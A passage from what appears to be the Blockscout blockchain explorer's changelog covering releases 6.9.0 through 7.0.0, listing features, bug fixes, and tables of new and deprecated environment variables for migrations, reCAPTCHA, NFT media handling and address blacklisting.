| +| `MIGRATION_FILECOIN_PENDING_ADDRESS_OPERATIONS_BATCH_SIZE` | Specifies the number of address records processed per batch during the backfill of pending address fetch operations. Implemented in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: 100
Applications: Indexer

| +| `MIGRATION_FILECOIN_PENDING_ADDRESS_OPERATIONS_CONCURRENCY` | Specifies the number of concurrent processes used during the backfill of pending address fetch operations. Implemented in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: 1
Applications: Indexer

| +| `MICROSERVICE_METADATA_PROXY_REQUESTS_TIMEOUT` | Timeout for request forwarding from `/api/v2/proxy/metadata/`. Implemented in [#11656](https://github.com/blockscout/blockscout/pull/11656) |

Version: v7.0.0+
Default: 30s
Applications: API

| +| `CHAIN_SPEC_PROCESSING_DELAY` | Chain specification path processing delay. [Time format](backend-env-variables.md#time-format). Implemented in [#11874](https://github.com/blockscout/blockscout/pull/11874). |

Version: v7.0.0+
Default: 15s
Applications: API, Indexer

| + +### Deprecated ENV variables + +| Variable | Required | Description | Default | Version | Need recompile | Deprecated in Version | +| ----------------------------------------------------- | -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------- | -------- | -------------- | --------------------- | +| `CHECKSUM_FUNCTION` | | Defines checksum address function. 2 available values: `rsk`, `eth` | `eth` | v2.0.1+ | | v7.0.0 | +| `TOKEN_ID_MIGRATION_FIRST_BLOCK` | | Bottom block for token id migration. Implemented in [#6391](https://github.com/blockscout/blockscout/pull/6391) | 0 | v5.0.0+ | | v7.0.0 +| `TOKEN_ID_MIGRATION_CONCURRENCY` | | Number of workers performing the token id migration. Implemented in [#6391](https://github.com/blockscout/blockscout/pull/6391) | 1 | v5.0.0+ | | v7.0.0 +| `TOKEN_ID_MIGRATION_BATCH_SIZE` | | Interval of token transfer block numbers processed by a token id migration worker at a time. Implemented in [#6391](https://github.com/blockscout/blockscout/pull/6391) | 500 | v5.0.0+ | | v7.0.0 +| `SHRINK_INTERNAL_TRANSACTIONS_BATCH_SIZE` | | Batch size of the shrink internal transactions migration. _Note_: before release "v6.8.0", the default value was 1000. Implemented in [#10567](https://github.com/blockscout/blockscout/pull/10567), changed default value in [#10689](https://github.com/blockscout/blockscout/pull/10689). | 100 | v6.8.0+ | | v7.0.0 +| `SHRINK_INTERNAL_TRANSACTIONS_CONCURRENCY` | | Concurrency of the shrink internal transactions migration. Implemented in [#10567](https://github.com/blockscout/blockscout/pull/10567). | 10 | v6.8.0+ | | v7.0.0 +| `TOKEN_INSTANCE_OWNER_MIGRATION_CONCURRENCY` | | Concurrency of new fields backfiller implemented in [#8386](https://github.com/blockscout/blockscout/pull/8386) | 5 | v5.3.0+ | | v7.0.0 +| `TOKEN_INSTANCE_OWNER_MIGRATION_BATCH_SIZE` | | Batch size of new fields backfiller implemented in [#8386](https://github.com/blockscout/blockscout/pull/8386) | 50 | v5.3.0+ | | v7.0.0 +| `TOKEN_INSTANCE_OWNER_MIGRATION_ENABLED` | | Enable of backfiller from [#8386](https://github.com/blockscout/blockscout/pull/8386) implemented in [#8752](https://github.com/blockscout/blockscout/pull/8752) | false | v5.3.2+ | | v7.0.0 +| `DENORMALIZATION_MIGRATION_BATCH_SIZE` | | Number of transactions to denormalize (add block timestamp and consensus) in the batch. | 500 | v6.0.0+ | | v7.0.0 +| `DENORMALIZATION_MIGRATION_CONCURRENCY` | | Number of parallel denormalization transaction batches processing. | 10 | v6.0.0+ | | v7.0.0 +| `TOKEN_TRANSFER_TOKEN_TYPE_MIGRATION_BATCH_SIZE` | | Number of token transfers to denormalize (add token\_type) in the batch. | 100 | v6.3.0+ | | v7.0.0 +| `TOKEN_TRANSFER_TOKEN_TYPE_MIGRATION_CONCURRENCY` | | Number of parallel denormalization token transfer batches processing. | 1 | v6.3.0+ | | v7.0.0 +| `SANITIZE_INCORRECT_NFT_BATCH_SIZE` | | Number of token transfers to sanitize in the batch. | 100 | v6.3.0+ | | v7.0.0 +| `SANITIZE_INCORRECT_NFT_CONCURRENCY` | | Number of parallel sanitizing token transfer batches processing. | 1 | v6.3.0+ | | v7.0.0 +| `SANITIZE_INCORRECT_NFT_TIMEOUT` | | Timeout between sanitizing token transfer batches processing. Implemented in [#11358](https://github.com/blockscout/blockscout/pull/11358) | 0 | v6.10.0+ | | v7.0.0 +| `SANITIZE_INCORRECT_WETH_BATCH_SIZE` | | Number of token transfers to sanitize in the batch. Implemented in [#10134](https://github.com/blockscout/blockscout/pull/10134) | 100 | v6.8.0+ | | v7.0.0 +| `SANITIZE_INCORRECT_WETH_CONCURRENCY` | | Number of parallel sanitizing token transfer batches processing. Implemented in [#10134](https://github.com/blockscout/blockscout/pull/10134) | 1 | v6.8.0+ | | v7.0.0 +| `SANITIZE_INCORRECT_WETH_TIMEOUT` | | Timeout between sanitizing token transfer batches processing. Implemented in [#11358](https://github.com/blockscout/blockscout/pull/11358) | 0 | v6.10.0+ | | v7.0.0 +| `REINDEX_INTERNAL_TRANSACTIONS_STATUS_BATCH_SIZE` | | Number of internal transactions to reindex in the batch. Implemented in [#11358](https://github.com/blockscout/blockscout/pull/11358) | 100 | v6.10.0+ | | v7.0.0 +| `REINDEX_INTERNAL_TRANSACTIONS_STATUS_CONCURRENCY` | | Number of parallel reindexing internal transaction batches processing. Implemented in [#11358](https://github.com/blockscout/blockscout/pull/11358) | 1 | v6.10.0+ | | v7.0.0 +| `REINDEX_INTERNAL_TRANSACTIONS_STATUS_TIMEOUT` | | Timeout between reindexing internal transaction batches processing. Implemented in [#11358](https://github.com/blockscout/blockscout/pull/11358) | 0 | v6.10.0+ | | v7.0.0 +| `FILECOIN_PENDING_ADDRESS_OPERATIONS_MIGRATION_BATCH_SIZE` | | Specifies the number of address records processed per batch during the backfill of pending address fetch operations. Implemented in [#10468](https://github.com/blockscout/blockscout/pull/10468). | 100 | v6.9.0+ | | v7.0.0 +| `FILECOIN_PENDING_ADDRESS_OPERATIONS_MIGRATION_CONCURRENCY` | | Specifies the number of concurrent processes used during the backfill of pending address fetch operations. Implemented in [#10468](https://github.com/blockscout/blockscout/pull/10468). | 1 | v6.9.0+ | | v7.0.0 +| `ARBITRUM_DA_RECORDS_NORMALIZATION_MIGRATION_BATCH_SIZE` | | Specifies the number of address records processed per batch during normalization of batch-to-blob associations by moving them from arbitrum_da_multi_purpose to a dedicated arbitrum_batches_to_da_blobs table. Implemented in [#11798](https://github.com/blockscout/blockscout/pull/11798). | 500 | v6.10.1+ | | v7.0.0 +| `ARBITRUM_DA_RECORDS_NORMALIZATION_MIGRATION_CONCURRENCY` | | Specifies the number of concurrent processes used during normalization of batch-to-blob associations by moving them from arbitrum_da_multi_purpose to a dedicated arbitrum_batches_to_da_blobs table. Implemented in [#11798](https://github.com/blockscout/blockscout/pull/11798). | 1 | v6.10.1+ | | v7.0.0 + + +## 6.10.2 + +### ⚙️ Miscellaneous Tasks + +- Add captcha to account wallet login as well ([#11682](https://github.com/blockscout/blockscout/issues/11682)) + +### New ENV Variables + +| Variable | Description | Parameters | +| --------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | +| `RE_CAPTCHA_BYPASS_TOKEN` | Bypass token that allows to skip reCAPTCHA check. Implemented in [#11682](https://github.com/blockscout/blockscout/pull/11682) |

Version: v6.10.2+
Default: (empty)
Applications: API

+ +## 6.10.1 + +### 🚀 Features + +- Support OP Holocene upgrade ([#11355](https://github.com/blockscout/blockscout/issues/11355)) +- Add active DB connections metric ([#11321](https://github.com/blockscout/blockscout/issues/11321)) +- Add protocol icon to the search result ([#11478](https://github.com/blockscout/blockscout/issues/11478)) + +### 🐛 Bug Fixes + +- Remove unnecessary internal transactions preload ([#11643](https://github.com/blockscout/blockscout/issues/11643)) +- Fix bug in Indexer.Fetcher.EmptyBlocksSanitizer module ([#11636](https://github.com/blockscout/blockscout/pull/11636)) +- Multichain search: process address in chunks ([#11632](https://github.com/blockscout/blockscout/issues/11632)) +- Fix transactions deadlock ([#11623](https://github.com/blockscout/blockscout/issues/11623)) +- Fix tokens and transactions deadlocks ([#11620](https://github.com/blockscout/blockscout/issues/11620)) +- Order address names to return the latest non-primary ([#11612](https://github.com/blockscout/blockscout/issues/11612)) +- Rename tx_burnt_fee prop in API v2 endpoint ([#11563](https://github.com/blockscout/blockscout/issues/11563)) +- Celo fee handler ([#11387](https://github.com/blockscout/blockscout/issues/11387)) +- Fix addresses deadlock ([#11616](https://github.com/blockscout/blockscout/issues/11616)) +- Besu raw trace ([#11413](https://github.com/blockscout/blockscout/issues/11413)) +- Fix tokens deadlock ([#11603](https://github.com/blockscout/blockscout/issues/11603)) +- Set timeout: :infinity for PendingTransactionsSanitizer delete ([#11600](https://github.com/blockscout/blockscout/issues/11600)) +- Fixed Missing Closing Quotation Marks in sed Expressions Update version_bump.sh ([#11574](https://github.com/blockscout/blockscout/issues/11574)) +- The same DA blobs for different Arbitrum batches ([#11485](https://github.com/blockscout/blockscout/issues/11485)) +- Extended list of apps in the devcontainer helper script ([#11396](https://github.com/blockscout/blockscout/issues/11396)) +- Fix MarketHistory test ([#11547](https://github.com/blockscout/blockscout/issues/11547)) +- Advanced-filters csv format ([#11494](https://github.com/blockscout/blockscout/issues/11494)) +- Fix verifyproxycontract endpoint ([#11523](https://github.com/blockscout/blockscout/issues/11523)) +- Fix minor grammatical issue Update README.md ([#11544](https://github.com/blockscout/blockscout/issues/11544)) + +### 📚 Documentation + +- Typo fix Update README.md ([#11595](https://github.com/blockscout/blockscout/issues/11595)) +- Typo fix Update CODE_OF_CONDUCT.md ([#11572](https://github.com/blockscout/blockscout/issues/11572)) +- Fix minor grammar and phrasing inconsistencies Update README.md ([#11548](https://github.com/blockscout/blockscout/issues/11548)) +- Fixed incorrect usage of -d flag in stop containers command Update README.md ([#11522](https://github.com/blockscout/blockscout/issues/11522)) + +### ⚡ Performance + +- Implement batched requests and DB upsert operations Indexer.Fetcher.EmptyBlocksSanitizer module ([#11555](https://github.com/blockscout/blockscout/issues/11555)) + +### ⚙️ Miscellaneous Tasks + +- Remove unused Explorer.Token.InstanceOwnerReader module ([#11570](https://github.com/blockscout/blockscout/issues/11570)) +- Optimize coin balances deriving ([#11613](https://github.com/blockscout/blockscout/issues/11613)) +- Fix typo Update CHANGELOG.md ([#11607](https://github.com/blockscout/blockscout/issues/11607)) +- Add env variable for PendingTransactionsSanitizer interval ([#11601](https://github.com/blockscout/blockscout/issues/11601)) +- Documentation for Explorer.Chain.Transaction.History.Historian ([#11397](https://github.com/blockscout/blockscout/issues/11397)) +- Extend error message on updating token balance with token id ([#11524](https://github.com/blockscout/blockscout/issues/11524)) + +### New ENV Variables + +| Variable | Description | Parameters | +| ------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | +| `INDEXER_PENDING_TRANSACTIONS_SANITIZER_INTERVAL` | Interval between pending transactions sanitizing. Implemented in [#11601](https://github.com/blockscout/blockscout/pull/11601). |

Version: v6.10.1
Default: 1h
Applications: Indexer

| + +## 6.10.0 + +### 🚀 Features + +- Addresses blacklist support ([#11417](https://github.com/blockscout/blockscout/issues/11417)) +- Multichain search DB filling ([#11139](https://github.com/blockscout/blockscout/issues/11139)) +- Zilliqa scilla transactions and smart contracts ([#11069](https://github.com/blockscout/blockscout/issues/11069)) +- CDN ([#10675](https://github.com/blockscout/blockscout/issues/10675)) +- Arbitrum L2->L1 message claiming ([#10804](https://github.com/blockscout/blockscout/issues/10804)) +- Add is_banned to token_instances table ([#11235](https://github.com/blockscout/blockscout/issues/11235)) +- Add CSV export of epoch transactions for address ([#11195](https://github.com/blockscout/blockscout/issues/11195)) +- Add request to /cache/{tx_hash} of transaction interpreter ([#11279](https://github.com/blockscout/blockscout/issues/11279)) +- Switch DB requests from replica to master in case of replica inaccessibility ([#11020](https://github.com/blockscout/blockscout/issues/11020)) +- Add gzip encoding option ([#11292](https://github.com/blockscout/blockscout/issues/11292)) +- Add Stylus verification support ([#11183](https://github.com/blockscout/blockscout/issues/11183)) +- Multiple json rpc urls ([#10934](https://github.com/blockscout/blockscout/issues/10934)) +- Gas prices with base fee if no transactions ([#11132](https://github.com/blockscout/blockscout/issues/11132)) +- Zilliqa consensus data related to block ([#10699](https://github.com/blockscout/blockscout/issues/10699)) +- Add filecoin robust addresses to proxy implementations ([#11102](https://github.com/blockscout/blockscout/issues/11102)) + +### 🐛 Bug Fixes + +- Limit max decimals value ([#11493](https://github.com/blockscout/blockscout/issues/11493)) +- Ignore unknown transaction receipt fields ([#11492](https://github.com/blockscout/blockscout/issues/11492)) +- Fixed issue in db request (l2_to_l1_message_by_id/2) ([#11481](https://github.com/blockscout/blockscout/issues/11481)) +- Handle float time in compose_gas_price/5 ([#11476](https://github.com/blockscout/blockscout/issues/11476)) +- Fix 500 on disabled metadata service ([#11443](https://github.com/blockscout/blockscout/issues/11443)) +- Fix get_media_url_from_metadata_for_nft_media_handler/1 ([#11437](https://github.com/blockscout/blockscout/issues/11437)) +- Fix check-redirect for ENS ([#11435](https://github.com/blockscout/blockscout/issues/11435)) +- Refactor CDN upload functions, prevent saving partially uploaded thumbnails ([#11400](https://github.com/blockscout/blockscout/issues/11400)) +- Take into account several proofs in OP Withdrawals ([#11399](https://github.com/blockscout/blockscout/issues/11399)) +- Handle "null" in paging options ([#11388](https://github.com/blockscout/blockscout/issues/11388)) +- Fix search timeout ([#11277](https://github.com/blockscout/blockscout/issues/11277)) +- Fix Noves.fi endpoints for bulk transactions ([#11375](https://github.com/blockscout/blockscout/issues/11375)) +- Fix docker container build after adding NFT media handler ([#11373](https://github.com/blockscout/blockscout/issues/11373)) +- Handle simultaneous account entities creation ([#11341](https://github.com/blockscout/blockscout/issues/11341)) +- Websocket configuration ([#11357](https://github.com/blockscout/blockscout/issues/11357)) +- 403 instead of 404 on wrong captcha in api/v1 ([#11348](https://github.com/blockscout/blockscout/issues/11348)) +- Upgrade fallback urls propagation ([#11331](https://github.com/blockscout/blockscout/issues/11331)) +- Add utils to dockerfile ([#11345](https://github.com/blockscout/blockscout/issues/11345)) +- Fix log decoding bug ([#11266](https://github.com/blockscout/blockscout/issues/11266)) +- Return 404 instead of 200 for nonexistent NFT ([#11280](https://github.com/blockscout/blockscout/issues/11280)) +- Fix metrics modules warnings ([#11340](https://github.com/blockscout/blockscout/issues/11340)) +- Handle entries with not specified `retries_count` ([#11206](https://github.com/blockscout/blockscout/issues/11206)) +- Get rid of scientific notation in CSV token holders export ([#11281](https://github.com/blockscout/blockscout/issues/11281)) +- Wrong usage of env in TokenInstanceMetadataRefetch ([#11317](https://github.com/blockscout/blockscout/issues/11317)) +- Rework initialization of the `RollupL1ReorgMonitor` and fix `read_system_config` for fallback cases ([#11275](https://github.com/blockscout/blockscout/issues/11275)) +- Eth_getLogs paging ([#11248](https://github.com/blockscout/blockscout/issues/11248)) +- Handle excessive otp confirmations ([#11244](https://github.com/blockscout/blockscout/issues/11244)) +- Check if flash is fetched before getting it in app.html ([#11270](https://github.com/blockscout/blockscout/issues/11270)) +- Multiple json rpc urls fixes ([#11264](https://github.com/blockscout/blockscout/issues/11264)) +- Handle eth rpc request without params ([#11269](https://github.com/blockscout/blockscout/issues/11269)) +- Fixate 6.9.2 as the latest release ([#11265](https://github.com/blockscout/blockscout/issues/11265)) +- Fix ETH JSON RPC deriving for Stylus verification ([#11247](https://github.com/blockscout/blockscout/issues/11247)) +- Fix fake json_rpc_named_arguments for multiple urls usage ([#11243](https://github.com/blockscout/blockscout/issues/11243)) +- Handle simultaneous api key creation ([#11233](https://github.com/blockscout/blockscout/issues/11233)) +- Fixate 6.9.1 as the latest release in master branch +- Invalid metadata requests ([#11210](https://github.com/blockscout/blockscout/issues/11210)) +- *(nginx-conf)* Redirect `/api-docs` to frontend. ([#11202](https://github.com/blockscout/blockscout/issues/11202)) +- Fix failed filecoin tests ([#11187](https://github.com/blockscout/blockscout/issues/11187)) +- Fix missing `signers` field in nested quorum certificate ([#11185](https://github.com/blockscout/blockscout/issues/11185)) +- Return `l1_tx_hashes` in the response of /batches/da/celestia/... API endpoint ([#11184](https://github.com/blockscout/blockscout/issues/11184)) +- Omit pbo for blocks lower than trace first block for indexing status ([#11053](https://github.com/blockscout/blockscout/issues/11053)) +- Update overview.html.eex ([#11094](https://github.com/blockscout/blockscout/issues/11094)) +- Fix sitemap timeout; optimize OrderedCache preloads ([#11131](https://github.com/blockscout/blockscout/issues/11131)) + +### 🚜 Refactor + +- Cspell configuration ([#11146](https://github.com/blockscout/blockscout/issues/11146)) + +### ⚡ Performance + +- Advanced filters optimization ([#11186](https://github.com/blockscout/blockscout/issues/11186)) + +### ⚙️ Miscellaneous Tasks + +- Return old response format in /api/v1/health endpoint ([#11511](https://github.com/blockscout/blockscout/issues/11511)) +- Rename blob_tx_count per naming conventions ([#11438](https://github.com/blockscout/blockscout/issues/11438)) +- Follow updated response schema in interpreter microservice ([#11402](https://github.com/blockscout/blockscout/issues/11402)) +- Remove raise in case if ETHEREUM_JSONRPC_HTTP_URL is not provided ([#11392](https://github.com/blockscout/blockscout/issues/11392)) +- Optimize tokens import ([#11389](https://github.com/blockscout/blockscout/issues/11389)) +- Remove beta suffix from releases ([#11376](https://github.com/blockscout/blockscout/issues/11376)) +- Background migrations timeout ([#11358](https://github.com/blockscout/blockscout/issues/11358)) +- Remove obsolete compile-time vars ([#11336](https://github.com/blockscout/blockscout/issues/11336)) +- Fixate Postgres 17 version in Docker compose and Github Actions workflows ([#11334](https://github.com/blockscout/blockscout/issues/11334)) +- Remove shorthands-duplicates from API responses ([#11319](https://github.com/blockscout/blockscout/issues/11319)) +- Refactor compile time envs usage ([#11148](https://github.com/blockscout/blockscout/issues/11148)) +- Refactor Dockerfile ([#11130](https://github.com/blockscout/blockscout/issues/11130)) +- Refactor import stages ([#11013](https://github.com/blockscout/blockscout/issues/11013)) +- Optimize CurrentTokenBalances import runner ([#11191](https://github.com/blockscout/blockscout/issues/11191)) +- Fix watchlist address flaking test ([#11242](https://github.com/blockscout/blockscout/issues/11242)) +- OP modules improvements ([#11073](https://github.com/blockscout/blockscout/issues/11073)) +- Invalid association `token_transfers` ([#11204](https://github.com/blockscout/blockscout/issues/11204)) +- Update Github Actions packages versions ([#11144](https://github.com/blockscout/blockscout/issues/11144)) +- Convenient way to manage known_hosts within devcontainer ([#11091](https://github.com/blockscout/blockscout/issues/11091)) +- Add docker compose file without microservices ([#11097](https://github.com/blockscout/blockscout/issues/11097)) + +### New ENV Variables + +| Variable | Description | Parameters | +| ------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | +| `ETHEREUM_JSONRPC_HTTP_URLS` | Analogue of `ETHEREUM_JSONRPC_HTTP_URL` for multiple values. Implemented in [#10934](https://github.com/blockscout/blockscout/pull/10934) |

Version: v6.10.0+
Default: (empty)
Applications: API, Indexer

| +| `ETHEREUM_JSONRPC_FALLBACK_HTTP_URLS` | Analogue of `ETHEREUM_JSONRPC_FALLBACK_HTTP_URL` for multiple values. Implemented in [#10934](https://github.com/blockscout/blockscout/pull/10934) |

Version: v6.10.0+
Default: (empty)
Applications: API, Indexer

| +| `ETHEREUM_JSONRPC_TRACE_URLS` | Analogue of `ETHEREUM_JSONRPC_TRACE_URL` for multiple values. Implemented in [#10934](https://github.com/blockscout/blockscout/pull/10934) |

Version: v6.10.0+
Default: (empty)
Applications: API, Indexer

| +| `ETHEREUM_JSONRPC_FALLBACK_TRACE_URLS` | Analogue of `ETHEREUM_JSONRPC_FALLBACK_TRACE_URL` for multiple values. Implemented in [#10934](https://github.com/blockscout/blockscout/pull/10934) |

Version: v6.10.0+
Default: (empty)
Applications: API, Indexer

| +| `ETHEREUM_JSONRPC_ETH_CALL_URLS` | Analogue of `ETHEREUM_JSONRPC_ETH_CALL_URL` for multiple values. Implemented in [#10934](https://github.com/blockscout/blockscout/pull/10934) |

Version: v6.10.0+
Default: (empty)
Applications: API, Indexer

| +| `ETHEREUM_JSONRPC_FALLBACK_ETH_CALL_URLS` | Analogue of `ETHEREUM_JSONRPC_FALLBACK_ETH_CALL_URL` for multiple values. Implemented in [#10934](https://github.com/blockscout/blockscout/pull/10934) |

Version: v6.10.0+
Default: (empty)
Applications: API, Indexer

| +| `ETHEREUM_JSONRPC_HTTP_GZIP_ENABLED` | If `true`, then send gzip encoding header and expect encoding in response. Implemented in [#11292](https://github.com/blockscout/blockscout/pull/11292). |

Version: v6.10.0+
Default: false
Applications: API, Indexer

| +| `REPLICA_MAX_LAG` | Defines the max lag for read-only replica. If the actual lag is higher than this, replica is considered unavailable and all requests to it are redirected to main DB. Implemented in [#11020](https://github.com/blockscout/blockscout/pull/11020) |

Version: v6.10.0+
Default: 5m
Applications: API

| +| `SANITIZE_INCORRECT_NFT_TIMEOUT` | Timeout between sanitizing token transfer batches processing. Implemented in [#11358](https://github.com/blockscout/blockscout/pull/11358) |

Version: v6.10.0+
Default: 0
Applications: API, Indexer

| +| `SANITIZE_INCORRECT_WETH_TIMEOUT` | Timeout between sanitizing token transfer batches processing. Implemented in [#11358](https://github.com/blockscout/blockscout/pull/11358) |

Version: v6.10.0+
Default: 0
Applications: API, Indexer

| +| `REINDEX_INTERNAL_TRANSACTIONS_STATUS_BATCH_SIZE` | Number of internal transactions to reindex in the batch. Implemented in [#11358](https://github.com/blockscout/blockscout/pull/11358) |

Version: v6.10.0+
Default: 100
Applications: API, Indexer

| +| `REINDEX_INTERNAL_TRANSACTIONS_STATUS_CONCURRENCY` | Number of parallel reindexing internal transaction batches processing. Implemented in [#11358](https://github.com/blockscout/blockscout/pull/11358) |

Version: v6.10.0+
Default: 1
Applications: API, Indexer

| +| `REINDEX_INTERNAL_TRANSACTIONS_STATUS_TIMEOUT` | Timeout between reindexing internal transaction batches processing. Implemented in [#11358](https://github.com/blockscout/blockscout/pull/11358) |

Version: v6.10.0+
Default: 0
Applications: API, Indexer

| +| `NFT_MEDIA_HANDLER_AWS_ACCESS_KEY_ID` | S3 API Access Key ID |

Version: v6.10.0+
Default: (empty)
Applications: NFT_MEDIA_HANDLER

| +| `NFT_MEDIA_HANDLER_AWS_SECRET_ACCESS_KEY` | S3 API Secret Access Key |

Version: v6.10.0+
Default: (empty)
Applications: NFT_MEDIA_HANDLER

| +| `NFT_MEDIA_HANDLER_AWS_BUCKET_HOST` | S3 API URL |

Version: v6.10.0+
Default: (empty)
Applications: NFT_MEDIA_HANDLER

| +| `NFT_MEDIA_HANDLER_AWS_BUCKET_NAME` | S3 bucket name |

Version: v6.10.0+
Default: (empty)
Applications: NFT_MEDIA_HANDLER

| +| `NFT_MEDIA_HANDLER_AWS_PUBLIC_BUCKET_URL` | Public S3 bucket URL |

Version: v6.10.0+
Default: (empty)
Applications: API

| +| `NFT_MEDIA_HANDLER_ENABLED` | if `true`, CDN feature enabled |

Version: v6.10.0+
Default: false
Applications: Indexer, NFT_MEDIA_HANDLER

| +| `NFT_MEDIA_HANDLER_REMOTE_DISPATCHER_NODE_MODE_ENABLED` | if `true`, nft media handler is supposed to run separately. |

Version: v6.10.0+
Default: false
Applications: Indexer, NFT_MEDIA_HANDLER

| +| `NFT_MEDIA_HANDLER_IS_WORKER` | if `true`, and `NFT_MEDIA_HANDLER_REMOTE_DISPATCHER_NODE_MODE_ENABLED=true` will be started only nft_media_handler app |

Version: v6.10.0+
Default: false
Applications: Indexer, NFT_MEDIA_HANDLER

| +| `NFT_MEDIA_HANDLER_NODES_MAP` | String in json map format, where key is erlang node and value is folder in R2/S3 bucket, example: `"{\"producer@172.18.0.4\": \"/folder_1\"}"`. If nft_media_handler runs in one pod with indexer, map should contain `self` key |

Version: v6.10.0+
Default: (empty)
Applications: NFT_MEDIA_HANDLER

| +| `NFT_MEDIA_HANDLER_WORKER_CONCURRENCY` | Concurrency of media handling (resizing/uploading) |

Version: v6.10.0+
Default: 10
Applications: NFT_MEDIA_HANDLER

| +| `NFT_MEDIA_HANDLER_WORKER_BATCH_SIZE` | Number of url processed by one async task |

Version: v6.10.0+
Default: 10
Applications: NFT_MEDIA_HANDLER

| +| `NFT_MEDIA_HANDLER_WORKER_SPAWN_TASKS_TIMEOUT` | Timeout before spawn new task |

Version: v6.10.0+
Default: 100ms
Applications: NFT_MEDIA_HANDLER

| +| `NFT_MEDIA_HANDLER_BACKFILL_ENABLED` | If `true`, unprocessed token instances from DB will be processed via nft_media_handler |

Version: v6.10.0+
Default: false
Applications: Indexer

| +| `NFT_MEDIA_HANDLER_BACKFILL_QUEUE_SIZE` | Max size of backfill queue |

Version: v6.10.0+
Default: 1000
Applications: Indexer

| +| `NFT_MEDIA_HANDLER_BACKFILL_ENQUEUE_BUSY_WAITING_TIMEOUT` | Timeout before new attempt to append item to backfill queue if it's full |

Version: v6.10.0+
Default: 1s
Applications: Indexer

| +| `NFT_MEDIA_HANDLER_CACHE_UNIQUENESS_MAX_SIZE` | Max size of cache, where stored already uploaded token instances media |

Version: v6.10.0+
Default: 100_000
Applications: Indexer

| +| `ADDRESSES_BLACKLIST` | A comma-separated list of addresses to enable restricted access to them. |

Version: v6.10.0+
Default: (empty)
Applications: API

| +| `ADDRESSES_BLACKLIST_KEY` | A key to access blacklisted addresses (either by `ADDRESSES_BLACKLIST` or by blacklist provider). Can be passed via query param to the page's URL: `?key=...` |

Version: v6.10.0+
Default: (empty)
Applications: API

| +| `ADDRESSES_BLACKLIST_PROVIDER` | Blacklist provider type, available options: `blockaid` |

Version: v6.10.0+
Default: blockaid
Applications: API

| +| `ADDRESSES_BLACKLIST_URL` | URL to fetch blacklist from |

Version: v6.10.0+
Default: (empty)
Applications: API

| +| `ADDRESSES_BLACKLIST_UPDATE_INTERVAL` | Interval between scheduled updates of blacklist |

Version: v6.10.0+
Default: 15m
Applications: API

| +| `ADDRESSES_BLACKLIST_RETRY_INTERVAL` | Time to wait before new attempt of blacklist fetching, after abnormal termination of fetching task |

Version: v6.10.0+
Default: 5s
Applications: API

| +| `MICROSERVICE_MULTICHAIN_SEARCH_URL` | Multichain Search Service API URL. Integration is enabled, if this variable value contains valid URL. Implemented in [#11139](https://github.com/blockscout/blockscout/pull/11139) |

Version: master
Default: (empty)
Applications: API, Indexer

| +| `MICROSERVICE_MULTICHAIN_SEARCH_API_KEY` | Multichain Search Service API key. Implemented in [#11139](https://github.com/blockscout/blockscout/pull/11139) |

Version: master
Default: (empty)
Applications: API, Indexer

| +| `MIGRATION_BACKFILL_MULTICHAIN_SEARCH_BATCH_SIZE` | Batch size of backfilling Multichain Search Service DB. Implemented in [#11139](https://github.com/blockscout/blockscout/pull/11139) |

Version: master
Default: (empty)
Applications: Indexer

| + +### Deprecated ENV Variables + + +| Variable | Required | Description | Default | Version | Need recompile | Deprecated in Version | +| ----------------------------------------------------- | -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------- | -------- | -------------- | --------------------- | +| `RESTRICTED_LIST` | | A comma-separated list of addresses to enable restricted access to them. | (empty) | v3.3.3+ | | v6.10.0 | +| `RESTRICTED_LIST_KEY` | | A key to access addresses listed in`RESTRICTED_LIST` variable. Can be passed via query param to the page's URL: `?key=...` | (empty) | v3.3.3+ | | v6.10.0 | + +## 6.9.2 + +### 🚀 Features + +- Xname app proxy ([#11010](https://github.com/blockscout/blockscout/issues/11010)) + +| Variable | Description | Parameters | +| --------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | +| `XNAME_BASE_API_URL` | [Xname API](https://xname.app/) base URL. Implemented in [#11010](https://github.com/blockscout/blockscout/pull/11010). |

Version: v6.9.2+
Default: https://gateway.xname.app
Applications: API

| +| `XNAME_API_TOKEN` | [Xname API](https://xname.app/) token. Implemented in [#11010](https://github.com/blockscout/blockscout/pull/11010). |

Version: v6.9.2+
Default: (empty)
Applications: API

+ +## 6.9.1 + +### 🐛 Bug Fixes + +- Add `auth0-forwarded-for` header in auth0 ([#11178](https://github.com/blockscout/blockscout/issues/11178)) + +### ⚙️ Miscellaneous Tasks + +- Extend recaptcha logging ([#11182](https://github.com/blockscout/blockscout/issues/11182)) + + +| Variable | Description | Parameters | +| ------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | +| `RE_CAPTCHA_SCORE_THRESHOLD`| Changes reCAPTCHA score threshold. Implemented in [#11182](https://github.com/blockscout/blockscout/pull/11182) |

Version: v6.9.1+
Default: 0.5
Applications: API

| + +## 6.9.0 + +### 🚀 Features + +- Support zksync foundry verification ([#11037](https://github.com/blockscout/blockscout/issues/11037)) +- Address transactions block number sorting ([#11035](https://github.com/blockscout/blockscout/issues/11035)) +- Scroll rollup: L1 fee parameters in API, `queueIndex` for L2 transactions, and L1 <->L2 messages ([#10484](https://github.com/blockscout/blockscout/issues/10484)) +- Account V2 ([#10706](https://github.com/blockscout/blockscout/issues/10706)) +- Allow to provide DB schema other than public ([#10946](https://github.com/blockscout/blockscout/issues/10946)) +- Add missing filecoin robust addresses ([#10935](https://github.com/blockscout/blockscout/issues/10935)) +- EIP-7702 support ([#10870](https://github.com/blockscout/blockscout/issues/10870)) +- Open access to re-fetch metadata button for token instances without metadata initially fetched ([#10878](https://github.com/blockscout/blockscout/issues/10878)) +- Support snake_case in metadata service ([#10722](https://github.com/blockscout/blockscout/issues/10722)) +- Token transfers list API v2 endpoint 